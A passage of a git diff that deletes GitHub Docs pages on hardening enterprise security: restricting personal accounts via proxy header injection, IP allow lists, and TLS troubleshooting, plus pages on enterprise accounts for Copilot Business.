deleted file mode 100644 index 2735cecd11f5..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Hardening security for your enterprise -shortTitle: Harden security -intro: You can configure features and settings to harden security for your enterprise. -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /configuring-tls - - /troubleshooting-tls-errors - - /enabling-private-mode - - /enabling-subdomain-isolation - - /configuring-host-keys-for-your-instance - - /configuring-ssh-connections-to-your-instance - - /configuring-the-referrer-policy-for-your-enterprise - - /restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list - - /restricting-access-to-githubcom-using-a-corporate-proxy -redirect_from: - - /admin/configuration/hardening-security-for-your-enterprise ---- - diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/restricting-access-to-githubcom-using-a-corporate-proxy.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/restricting-access-to-githubcom-using-a-corporate-proxy.md deleted file mode 100644 index 027637e6d6a0..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/restricting-access-to-githubcom-using-a-corporate-proxy.md +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: Restricting access to GitHub.com using a corporate proxy -intro: 'Configure your proxy to block people from accessing {% data variables.product.prodname_dotcom_the_website %} with personal accounts.' -shortTitle: 'Block personal accounts' -product: 'Enterprises with {% data variables.product.prodname_emus %} on {% data variables.product.prodname_dotcom_the_website %}' -versions: - ghec: '*' ---- - ->[!NOTE] The header for restricting access to {% data variables.product.prodname_dotcom_the_website %} is currently in {% data variables.release-phases.public_preview %} and subject to change. Although preview releases are not typically supported by {% data variables.product.company_short %} Support (see [AUTOTITLE](/get-started/using-github/exploring-early-access-releases-with-feature-preview#githubs-release-cycle)), this feature is supported by {% data variables.product.company_short %} Support while in {% data variables.release-phases.public_preview %}. - -If you use {% data variables.product.prodname_emus %}, you can block users on your network from authenticating to {% data variables.product.prodname_dotcom_the_website %} with accounts that are not members of your enterprise. This helps reduce the risk of your company's data being exposed to the public. - -To enforce this restriction, you will configure your network proxy or firewall to inject a header into your users' web and API requests to {% data variables.product.prodname_dotcom_the_website %}. - -This feature requires an external firewall or proxy. {% data variables.contact.github_support %} cannot assist with setup or troubleshooting for external tools such as these. For more about scope of support, see [AUTOTITLE](/support/learning-about-github-support/about-github-support#scope-of-support). - -## Requesting access - -This feature is not enabled by default. To request access, contact your account manager in {% data variables.product.github %}'s Sales team or [sign up here](https://github.com/features/preview/enterprise-access-restrictions). - -## Prerequisites - -* You must use an {% data variables.enterprise.prodname_emu_enterprise %} on {% data variables.product.prodname_dotcom_the_website %}. - * You'll know you're using an {% data variables.enterprise.prodname_emu_enterprise %} if all your users' usernames are appended with your enterprise's shortcode. - * If you use {% data variables.enterprise.data_residency %}, your enterprise resides on a dedicated subdomain of {% data variables.enterprise.data_residency_site %}, so the header is not required to differentiate traffic to your enterprise's resources. -* To enforce the restriction, all traffic must flow through a proxy or firewall. The proxy or firewall must: - * Be capable of intercepting and editing traffic, commonly called a "break and inspect" proxy - * Support arbitrary header injection -* {% data variables.product.company_short %} must have granted you access to this feature. - -## Finding the header - -To enforce the restriction, you will inject a header into all traffic going to certain supported endpoints. The header is in the following format. - -```text -sec-GitHub-allowed-enterprise: ENTERPRISE-ID -``` - -An enterprise owner can identify the correct enterprise ID to use in the header for your enterprise. - -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under {% octicon "gear" aria-hidden="true" %} **Settings**, click **Authentication security**. -1. In the "Enterprise access restrictions" section, find the header for your enterprise. This section is only visible for enterprises with the feature enabled. - -## Using the header - -For best results, configure your proxy to inject the header into all traffic to the following **supported endpoints**. - -| Endpoint | Purpose | -| -------- | ------- | -| `github.com/*` | Web traffic to {% data variables.product.prodname_dotcom_the_website %} | -| `api.github.com/*` | REST and GraphQL API requests | -| `*.githubcopilot.com` | Traffic required for certain {% data variables.product.prodname_copilot %} features | - -This will prevent people on your network from accessing these endpoints with user accounts that are not owned by your enterprise. Alongside this feature, you can block traffic from outside your network by setting up an IP allow list. See [AUTOTITLE](/admin/configuring-settings/hardening-security-for-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list). - ->[!NOTE] Access to `github.com/login` is required to create support tickets. To ensure users with support entitlements can request help, you may want to exempt these users from the restriction. - -### Lifting the restriction for certain users - -You may want to lift the restriction for certain users who need to contribute to open source resources using a personal account, or who may need to create support tickets in case of issues. To handle this, you must configure your network to inject the header only for users that you intend to restrict. - -Options include: - -* **Network segregation**: Create a "work" network that injects the header, and an "open source" network that does not. Limit access to the "open source" network to users who need it. -* **Device grouping**: If your proxy or firewall is authenticated, you can collect a group of users who don't need the header, and selectively exclude them from injection. - -## Unsupported features - -Because this restriction only applies to requests that are sent via a proxy that adds an enterprise header, certain {% data variables.product.github %} features do not support the restriction to block users from accessing or using their personal accounts. To block users on your network from accessing these features, you will need to make the changes described below. - -| Feature | Associated endpoint | Notes | -| ------- | ------------------- | ----- | -| {% data variables.product.prodname_pages %} | `github.io` | This is generally user-generated content that cannot accept data. You may not want to restrict access. | -| {% data variables.product.prodname_github_codespaces %} | `github.dev` | To restrict access, block the endpoint entirely. | -| SSH access | Port 22 on {% data variables.product.prodname_dotcom_the_website %} | To restrict access, block the endpoint entirely. | -| {% data variables.product.github %}-hosted runners | Various | To enforce specific routing, use Azure private networking. See [AUTOTITLE](/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise). | - -### Endpoints that don't require restriction - -The following endpoints do not support or require the restriction because they only provide data, and do not accept it. - -* `*.githubusercontent.com` -* `*.githubassets.com` -* Websocket traffic on {% data variables.product.prodname_dotcom_the_website %} - -## How does the restriction work? - -For traffic that includes the enterprise header, when a user attempts to access {% data variables.product.prodname_dotcom_the_website %} via the web, Git, or API using a user account (or a token associated with a user account) that is not a member of the enterprise: - -* The user will see an error message with a `403` status code. See [Errors displayed to blocked users](#errors-displayed-to-blocked-users). -* A `business.proxy_security_header_unsatisfied` event will be logged in the enterprise audit logs. These log events will have no `actor` field due to privacy reasons, but will have an `actor_ip` field if enabled (see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)). To investigate these events further, you can review the proxy logs in your environment. - -The following sections provide details for the expected behavior that applies to your users' web activity and API requests. - -### Web activity - -For activity in the {% data variables.product.prodname_dotcom_the_website %} user interface, the header restricts which accounts a user can sign in to. - -While on your network, a user: - -* **Can** sign in to a {% data variables.enterprise.prodname_managed_user %} in your enterprise. -* **Cannot** sign in to an account outside your enterprise. -* **Cannot** use the account switcher to switch to an account outside your enterprise. - -If a user is already signed in to an account outside your enterprise (for example, they signed in while outside your network), when the user brings their device into your network, they will receive an error and be unable to access {% data variables.product.prodname_dotcom_the_website %} until they sign in with their enterprise-owned account. - -### Git activity - -If your proxy is configured to inject the header into HTTP(S) requests, users on your network will be blocked from authenticating to {% data variables.product.prodname_dotcom_the_website %} over HTTP(S), unless they are a member of your enterprise. Public read requests are not blocked for unauthenticated anonymous users. - -You cannot use the enterprise header to restrict Git activity over SSH. Instead, you can choose to block the port for SSH requests entirely. See [Unsupported features](#unsupported-features). - -### API requests - -For REST and GraphQL API traffic to api.github.com, including requests via the {% data variables.product.prodname_cli %}, the header restricts the use of access tokens while users are connected to your network. - -| Scenario | Outcome | Affected token types | -| -------- | ------- | -------------------- | -| A user uses a {% data variables.product.pat_generic %} associated with an account owned by your enterprise. | The {% data variables.product.pat_generic %} works as expected in API requests. | `ghp_` and `github_pat_` | -| While connected to your network, a user tries to use a {% data variables.product.pat_generic %} associated with a user outside your enterprise. | Requests using the token are blocked. | `ghp_` and `github_pat_` | -| While outside your network, using an account outside your enterprise, a user signs in to an OAuth app that runs on their device. The user then brings their device inside your network. | OAuth tokens from the app stop working. | `gho_` | -| While outside your network, using an account outside your enterprise, a user signs in to a {% data variables.product.prodname_github_app %} that runs on their device. The user then brings their device inside your network. | Tokens from the app stop working. | `ghu_` | -| While connected to your network, an application attempts to refresh a session for a user outside your enterprise using a {% data variables.product.prodname_github_app %} refresh token. | The refresh fails. | `ghr_` | -| While connected to your network, an application attempts to get an installation token (a token without a user identity, just the app's identity) for an organization outside your enterprise. | The token will not work. | `ghs_` | - -## Errors displayed to blocked users - -Errors will be displayed to users when the restriction is working as intended. Errors occur in the following situations: - -* **Web activity**: When a user is blocked from signing in or using an existing stale session. -* **API activity**: When a user tries to use a token that is associated with a user outside the enterprise. -* **Installation token:** When an application attempts to use an installation token to access an organization or user account outside the enterprise. For installations, only write requests are blocked. Read requests are not blocked to resources outside of the enterprise. To learn more about installation tokens, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). - -| Scenario | Error code | Message | -| -------- | ---------- | ------- | -| Web activity | 403 | Your network administrator has blocked access to {% data variables.product.github %} except for the `ENTERPRISE` Enterprise. Please sign in with your `_SHORTCODE` account to access {% data variables.product.github %}. | -| API activity | 403 | Your network administrator has blocked access to {% data variables.product.github %} except for the `ENTERPRISE` Enterprise. Please use a token for a user from the `_SHORTCODE` enterprise to access {% data variables.product.github %}. | -| Installation token | 403 | Your network administrator has blocked access to {% data variables.product.github %} except for the `ENTERPRISE` Enterprise. Only tokens for the "`SHORTCODE`" enterprise can access {% data variables.product.github %}. | - -Errors with a `400` code indicate an error in your configuration. See [Troubleshooting](#troubleshooting). - -## Example of testing locally - -You can test your network configuration locally using a web debugging tool. This section provides an example using [Fiddler](https://www.telerik.com/fiddler). Note that Fiddler and other external debugging tools are **not** in the scope of {% data variables.contact.github_support %}. - -In the following example, you will add some FiddlerScript to run on every request. - -1. Install [Fiddler](https://www.telerik.com/fiddler). -1. Configure Fiddler to decrypt HTTPS traffic. See the [Fiddler documentation](https://docs.telerik.com/fiddler/configure-fiddler/tasks/decrypthttps). -1. In Fiddler, navigate to the "FiddlerScript" tab, and add the following code to the `OnBeforeRequest` function. Set the `enterpriseId` variable to your own enterprise ID. - - ```javascript copy - // Your enterprise id - var enterpriseId: String = "YOUR-ID"; - - //Inject on the web UI - if (oSession.HostnameIs("github.com")){ - oSession.oRequest.headers.Add("sec-GitHub-allowed-enterprise",enterpriseId) - oSession["ui-color"] = "green"; - } - - // Inject on API calls - if (oSession.HostnameIs("api.github.com")){ - oSession.oRequest.headers.Add("sec-GitHub-allowed-enterprise",enterpriseId) - oSession["ui-color"] = "blue"; - } - - // Inject on Copilot API calls - if (oSession.HostnameIs("githubcopilot.com")){ - oSession.oRequest.headers.Add("sec-GitHub-allowed-enterprise",enterpriseId) - oSession["ui-color"] = "yellow"; - } - ``` - -1. Click **Save script**. - -The header will now be injected for each of the specified domains while packet capture is active. To enable or disable injection, you can toggle packet capture by clicking **File** > **Capture Traffic**. - -You can turn this injection on and off to simulate signing in with a disallowed account and then entering the network, or trying to sign in to a disallowed account while on the network. - -## Troubleshooting - -If your header injection isn't working as expected, you will see errors with a `400` code when you try to use affected endpoints. These are distinct from the `403` errors displayed when the feature is working as expected (see [Errors displayed to blocked users](#errors-displayed-to-blocked-users)). - -Generally, `400` errors occur in the following situations. - -* The header uses an invalid slug or enterprise ID. -* The header lists more than one enterprise. -* The request contains multiple `sec-GitHub-allowed-enterprise` headers. - -| Scenario | Error code | Message | -| -------- | ---------- | ------- | -| Invalid slug or ID | 400 | The enterprise named in the `sec-GitHub-allowed-enterprise` header cannot be found. Ensure that the "enterprise slug" is entered correctly in the firewall or proxy settings. Contact your network administrator if this error persists. | -| More than one enterprise | 400 | Only one enterprise can be used with the `sec-GitHub-allowed-enterprise` header. Ensure that only a single enterprise and header is provided. If this issue persists, contact your network administrator | -| Multiple headers | 400 | More than one `sec-GitHub-allowed-enterprise` was received. This header must be overwritten by the firewall or proxy, to ensure that only a single enterprise is granted access. If this issue persists, contact your network administrator. | - -## Further reading - -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-github-copilot-access-to-your-organizations-network#configuring-copilot-subscription-based-network-routing-for-your-organization) diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list.md deleted file mode 100644 index c8a33e2cdd58..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Restricting network traffic to your enterprise with an IP allow list -shortTitle: IP allow list -intro: You can restrict access to your enterprise and only allow access to your resources from specified IP addresses by using an IP allow list. -permissions: Enterprise owners can configure IP allow lists. -versions: - ghec: '*' -type: how_to -topics: - - Access management - - Enterprise - - Fundamentals - - Networking - - Security -redirect_from: - - /admin/configuration/restricting-network-traffic-to-your-enterprise - - /admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise - - /admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list - - /admin/configuration/hardening-security-for-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list ---- - -## About network traffic restrictions - -By default, authorized users can access your enterprise's resources from any IP address. You can restrict access to your enterprise's private resources by configuring a list that allows or denies access from specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} - -If your enterprise uses {% data variables.product.prodname_emus %} with Microsoft Entra ID (previously known as Azure AD) and OIDC, you can choose whether to use {% data variables.product.company_short %}'s IP allow list feature or to use the allow list restrictions for your identity provider (IdP). If your enterprise does not use {% data variables.product.prodname_emus %} with Azure and OIDC, you can use {% data variables.product.company_short %}'s allow list feature. - -{% data reusables.identity-and-permissions.ip-allow-lists-which-resources-are-protected %} - -## About {% data variables.product.company_short %}'s IP allow list - -You can use {% data variables.product.company_short %}'s IP allow list to control access to your enterprise and assets owned by organizations in your enterprise. - -{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} - -{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} - -## About your IdP's allow list - -If you are using {% data variables.product.prodname_emus %} with Entra ID and OIDC, you can use your IdP's allow list. - -Using your IdP's allow list deactivates the {% data variables.product.company_short %} IP allow list configurations for all organizations in your enterprise and deactivates the GraphQL APIs for enabling and managing IP allow lists. - -By default, your IdP runs the CAP on the initial interactive SAML or OIDC sign-in to {% data variables.product.company_short %} for any IP allow list configuration you choose. - -The OIDC CAP applies to web requests and requests to the API using a user token, such as an OAuth token for an {% data variables.product.prodname_oauth_app %} or a user access token for a {% data variables.product.prodname_github_app %} acting on behalf of a user. The OIDC CAP does not apply when a {% data variables.product.prodname_github_app %} uses an installation access token. See [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app) and [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy#github-apps-and-oauth-apps). - -{% data reusables.enterprise-accounts.emu-cap-public-preview %} - -To ensure seamless use of the OIDC CAP while still applying the policy to OAuth tokens and user access tokens, you must copy all of the IP ranges from each {% data variables.product.prodname_github_app %} that your enterprise uses to your IdP policy. - -## Using {% data variables.product.company_short %}'s IP allow list - -### Enabling {% data variables.product.company_short %}'s IP allow list - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. If you're using {% data variables.product.prodname_emus %} with OIDC, under "IP allow list", select the **IP allow list configuration** dropdown menu and click **GitHub**. -1. Under "IP allow list", select **Enable IP allow list**. -1. Click **Save**. - -### Adding an allowed IP address - -{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %} - -{% data reusables.identity-and-permissions.ipv6-allow-lists %} -{% data reusables.identity-and-permissions.ip-address-add-or-remove-caching %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} -{% data reusables.identity-and-permissions.check-ip-address %} - -### Allowing access by {% data variables.product.prodname_github_apps %} - -{% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %} - -### Editing an allowed IP address - -{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} -{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} -{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} -1. Click **Update**. -{% data reusables.identity-and-permissions.check-ip-address %} - -### Checking if an IP address is permitted - -{% data reusables.identity-and-permissions.about-checking-ip-address %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -{% data reusables.identity-and-permissions.check-ip-address-step %} - -### Deleting an allowed IP address - -{% data reusables.identity-and-permissions.ip-address-add-or-remove-caching %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} -{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} - -## Using your identity provider's allow list - -> [!NOTE] -> Using your IdP's allow list is only supported for {% data variables.product.prodname_emus %} with Entra ID and OIDC. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "IP allow list", select the **IP allow list configuration** dropdown menu and click **Identity Provider**. -1. Optionally, to allow installed {% data variables.product.company_short %} and {% data variables.product.prodname_oauth_apps %} to access your enterprise from any IP address, select **Skip IdP check for applications**. -1. Click **Save**. - -## Using {% data variables.product.prodname_actions %} with an IP allow list - -{% data reusables.actions.ip-allow-list-self-hosted-runners %} - -## Using {% data variables.product.prodname_pages %} with an IP allow list - -{% data reusables.pages.ip-allow-list-pages %} diff --git a/content/admin/configuring-settings/hardening-security-for-your-enterprise/troubleshooting-tls-errors.md b/content/admin/configuring-settings/hardening-security-for-your-enterprise/troubleshooting-tls-errors.md deleted file mode 100644 index cf8b0feb36ab..000000000000 --- a/content/admin/configuring-settings/hardening-security-for-your-enterprise/troubleshooting-tls-errors.md +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Troubleshooting TLS errors -intro: 'If you run into TLS issues with your appliance, you can take actions to resolve them.' -redirect_from: - - /enterprise/admin/articles/troubleshooting-ssl-errors - - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration - - /enterprise/admin/installation/troubleshooting-ssl-errors - - /enterprise/admin/configuration/troubleshooting-ssl-errors - - /admin/configuration/troubleshooting-ssl-errors - - /admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors - - /admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors - - /admin/configuration/hardening-security-for-your-enterprise/troubleshooting-tls-errors -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Errors - - Infrastructure - - Networking - - Security - - Troubleshooting -shortTitle: Troubleshoot TLS errors ---- -## Removing the passphrase from your key file - -If you have a Linux machine with OpenSSL installed, you can remove your passphrase. - -1. Rename your original key file. - - ```shell - mv yourdomain.key yourdomain.key.orig - ``` - -1. Generate a new key without a passphrase. - - ```shell - openssl rsa -in yourdomain.key.orig -out yourdomain.key - ``` - -You'll be prompted for the key's passphrase when you run this command. - -For more information about OpenSSL, see [OpenSSL's documentation](https://www.openssl.org/docs/). - -## Converting your TLS certificate or key into PEM format - -If you have OpenSSL installed, you can convert your key into PEM format by using the `openssl` command. For example, you can convert a key from DER format into PEM format. - -```shell -openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM -``` - -Otherwise, you can use the SSL Converter tool to convert your certificate into the PEM format. For more information, see the [SSL Converter tool's documentation](https://www.sslshopper.com/ssl-converter.html). - -## Unresponsive installation after uploading a key - -If {% data variables.location.product_location %} is unresponsive after uploading an TLS key, please [contact {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) with specific details, including a copy of your TLS certificate. Ensure that your private key **is not** included. - -## Certificate validity errors - -Clients such as web browsers and command-line Git will display an error message if they cannot verify the validity of an TLS certificate. This often occurs with self-signed certificates as well as "chained root" certificates issued from an intermediate root certificate that is not recognized by the client. - -If you are using a certificate signed by a certificate authority (CA), the certificate file that you upload to {% data variables.product.prodname_ghe_server %} must include a certificate chain with that CA's root certificate. To create such a file, concatenate your entire certificate chain (or "certificate bundle") onto the end of your certificate, ensuring that the principal certificate with your hostname comes first. On most systems you can do this with a command similar to: - -```shell -cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt -``` - -You should be able to download a certificate bundle (for example, `bundle-certificates.crt`) from your certificate authority or TLS vendor. - -## Installing self-signed or untrusted certificate authority (CA) root certificates - -If your {% data variables.product.prodname_ghe_server %} appliance interacts with other machines on your network that use a self-signed or untrusted certificate, you will need to import the signing CA's root certificate into the system-wide certificate store in order to access those systems over HTTPS. If you want to use a certificate signed by an internal certificate authority, you must install the root certificate and any intermediate certificates. - -1. Obtain the CA's root certificate from your local certificate authority and ensure it is in PEM format. -1. Copy the file to your {% data variables.product.prodname_ghe_server %} appliance over SSH as the "admin" user on port 122. - - ```shell - scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin - ``` - -1. Connect to the {% data variables.product.prodname_ghe_server %} administrative shell over SSH as the "admin" user on port 122. - - ```shell - ssh -p 122 admin@HOSTNAME - ``` - -1. Import the certificate into the system-wide certificate store. - - ```shell - ghe-ssl-ca-certificate-install -c rootCA.crt - ``` - -{% data reusables.enterprise.apply-configuration %} - -## Updating a TLS certificate - -You can generate a new self-signed certificate or update an existing TLS certificate for {% data variables.location.product_location %} with the `ghe-ssl-certificate-setup` command line utility. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-setup). - -### Troubleshooting problems with server communications after updating a TLS certificate - -If you encounter issues with communication or other problems on your server after updating a certificate, there may be missing files or symlinks in the install. Check your web log output for the following message. - -```text - certificate verify failed (unable to get issuer certificate) -``` - -If you see this message, it is likely there are missing or misconfigured certificates. This may prevent the application's services from communicating with each other. - -To remediate this issue: - -1. Back up your current TLS certificates directory. -1. To refresh certificates and content that may be missing in the`/etc/ssl/certs` directory, run the following command. - - ```shell copy - sudo update-ca-certificates --verbose --fresh - ``` - -If you are still having problems, please contact {% data variables.contact.contact_ent_support %}. diff --git a/content/admin/configuring-settings/index.md b/content/admin/configuring-settings/index.md deleted file mode 100644 index 179255abb6ed..000000000000 --- a/content/admin/configuring-settings/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Configuring GitHub Enterprise -allowTitleToDifferFromFilename: true -shortTitle: Configuration -intro: You can configure your enterprise to suit your organization's needs. -redirect_from: - - /enterprise/admin/configuration - - /admin/configuration/configuring-your-enterprise - - /admin/configuration -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /configuring-user-applications-for-your-enterprise - - /hardening-security-for-your-enterprise - - /configuring-network-settings - - /configuring-private-networking-for-hosted-compute-products - - /configuring-github-connect ---- -{% ifversion ghes %} - -> [!NOTE] -> To configure {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} for your enterprise, see [AUTOTITLE](/admin/github-actions) or [AUTOTITLE](/admin/packages). - -{% endif %} diff --git a/content/admin/copilot-business-only/about-enterprise-accounts-for-copilot-business.md b/content/admin/copilot-business-only/about-enterprise-accounts-for-copilot-business.md deleted file mode 100644 index 3a26c550047c..000000000000 --- a/content/admin/copilot-business-only/about-enterprise-accounts-for-copilot-business.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: About enterprise accounts for Copilot Business -intro: 'Learn about the options for creating an enterprise account to manage {% data variables.product.prodname_copilot_business_short %} licenses, without adopting {% data variables.product.prodname_enterprise %}.' -versions: - ghec: '*' -topics: - - Accounts - - Enterprise - - Fundamentals -shortTitle: About the account -redirect_from: - - /early-access/copilot/managing-copilot-business-licenses-with-an-enterprise-account ---- - -You can use an enterprise account to manage licenses for {% data variables.product.prodname_copilot_for_business %}, without adopting {% data variables.product.prodname_enterprise %}. - ->[!NOTE] Access to this feature is currently managed by {% data variables.contact.contact_enterprise_sales %}. - -## What is an enterprise account for {% data variables.product.prodname_copilot_business_short %}? - -To use {% data variables.product.prodname_copilot %}, a user must authenticate to an account on {% data variables.product.prodname_dotcom %} that has a license for {% data variables.product.prodname_copilot_short %}. Organizations and enterprises on {% data variables.product.prodname_dotcom %} can manage members' access to {% data variables.product.prodname_copilot_short %} through a {% data variables.product.prodname_copilot_business_short %} subscription. - -If you don't already manage users through an organization or enterprise, you can create an enterprise account specifically for allocating {% data variables.product.prodname_copilot_business_short %} licenses. - -* You'll only pay for the {% data variables.product.prodname_copilot_short %} licenses you assign. For pricing, see [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot#pricing-for-github-copilot-business). -* You won't pay for {% data variables.product.prodname_enterprise %} seats. -* You won't be able to create organizations or repositories in the enterprise, or use features that require repositories or organizations, such as {% data variables.product.prodname_actions %}. - -When you create the account, you can choose whether your enterprise members will authenticate using their personal {% data variables.product.company_short %} accounts, or using new accounts that you will create and manage from an external identity management system. For a comparison, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud). - -## How will I manage access for users? - -How you will add users to your enterprise and manage license assignment depends on whether you choose an enterprise with personal accounts or with {% data variables.product.prodname_emus %}. - -### Personal accounts - -If you request an enterprise with personal accounts: - -* You'll **add users** to the enterprise by sending an invitation to their personal {% data variables.product.prodname_dotcom %} account. -* You'll **create teams** in the enterprise to manage which users receive {% data variables.product.prodname_copilot_business_short %} licenses. You can manage membership of the teams on {% data variables.product.prodname_dotcom %} or with the REST API. -* When users receive a license, they can authenticate to {% data variables.product.prodname_dotcom %} from their development environment and **gain access** to {% data variables.product.prodname_copilot_short %}. -* Optionally, you can configure **SAML single sign-on** (SSO), so that users must authenticate to an external identity system in addition to their personal account. - -### {% data variables.product.prodname_emus %} - -If you request an {% data variables.enterprise.prodname_emu_enterprise %}: - -* You'll **add users** to the enterprise by provisioning {% data variables.enterprise.prodname_managed_users %} from an identity provider (IdP), using SCIM. -* You'll **create teams** in the enterprise to manage which users receive {% data variables.product.prodname_copilot_business_short %} licenses. You can manage membership of the teams from your IdP, on {% data variables.product.prodname_dotcom %}, or with the REST API. -* When users receive a license, they can use single sign-on to authenticate to their {% data variables.product.prodname_dotcom %} account from their development environment and **gain access** to {% data variables.product.prodname_copilot_short %}. - -## Limitations - -* You will not be able to use REST API endpoints that require an organization. In particular, these include: - * [List enterprise consumed licenses](/rest/enterprise-admin/license#list-enterprise-consumed-licenses) - * [AUTOTITLE](/rest/orgs/members) - * [AUTOTITLE](/rest/copilot/copilot-user-management) -* Documentation on {% data variables.product.prodname_docs %} may not apply to your enterprise. -* With an enterprise for personal accounts, you cannot use team synchronization to manage membership of enterprise teams. - -## Getting started - -To get started, you will work with {% data variables.contact.contact_enterprise_sales %} to create an enterprise account, then add users to your enterprise and assign {% data variables.product.prodname_copilot_business_short %} licenses. - -See the setup guide for your chosen type of enterprise. - -* [AUTOTITLE](/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-personal-accounts) -* [AUTOTITLE](/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-managed-users) diff --git a/content/admin/copilot-business-only/index.md b/content/admin/copilot-business-only/index.md deleted file mode 100644 index 477a6cdfffff..000000000000 --- a/content/admin/copilot-business-only/index.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Using a dedicated enterprise account for Copilot Business -intro: Get started with an enterprise account for managing {% data variables.product.prodname_copilot_business_short %} licenses. -versions: - ghec: '*' -children: - - /about-enterprise-accounts-for-copilot-business - - /setting-up-a-dedicated-enterprise-for-copilot-business-personal-accounts - - /setting-up-a-dedicated-enterprise-for-copilot-business-managed-users -shortTitle: Copilot Business only ---- diff --git a/content/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-managed-users.md b/content/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-managed-users.md deleted file mode 100644 index 5254c1afd3fb..000000000000 --- a/content/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-managed-users.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Setting up a dedicated enterprise for Copilot Business ({% data variables.product.prodname_emus %}) -intro: 'Set up your account, provision users, and assign licenses.' -versions: - ghec: '*' -topics: - - Accounts - - Enterprise - - Fundamentals -shortTitle: Set up with managed users -allowTitleToDifferFromFilename: true -redirect_from: - - /early-access/copilot/using-copilot-business-without-github-enterprise-managed-users - ---- - -You can use an enterprise account to manage licenses for {% data variables.product.prodname_copilot_for_business %}, without adopting {% data variables.product.prodname_enterprise %}. - -This article describes the setup for an **enterprise with managed users**. If you haven't chosen an enterprise type, see [AUTOTITLE](/admin/copilot-business-only/about-enterprise-accounts-for-copilot-business). - -## Prerequisites - -* To provision users, you must connect the enterprise account to an identity management system. {% data variables.product.company_short %} partners with some developers of identity management systems to provide a 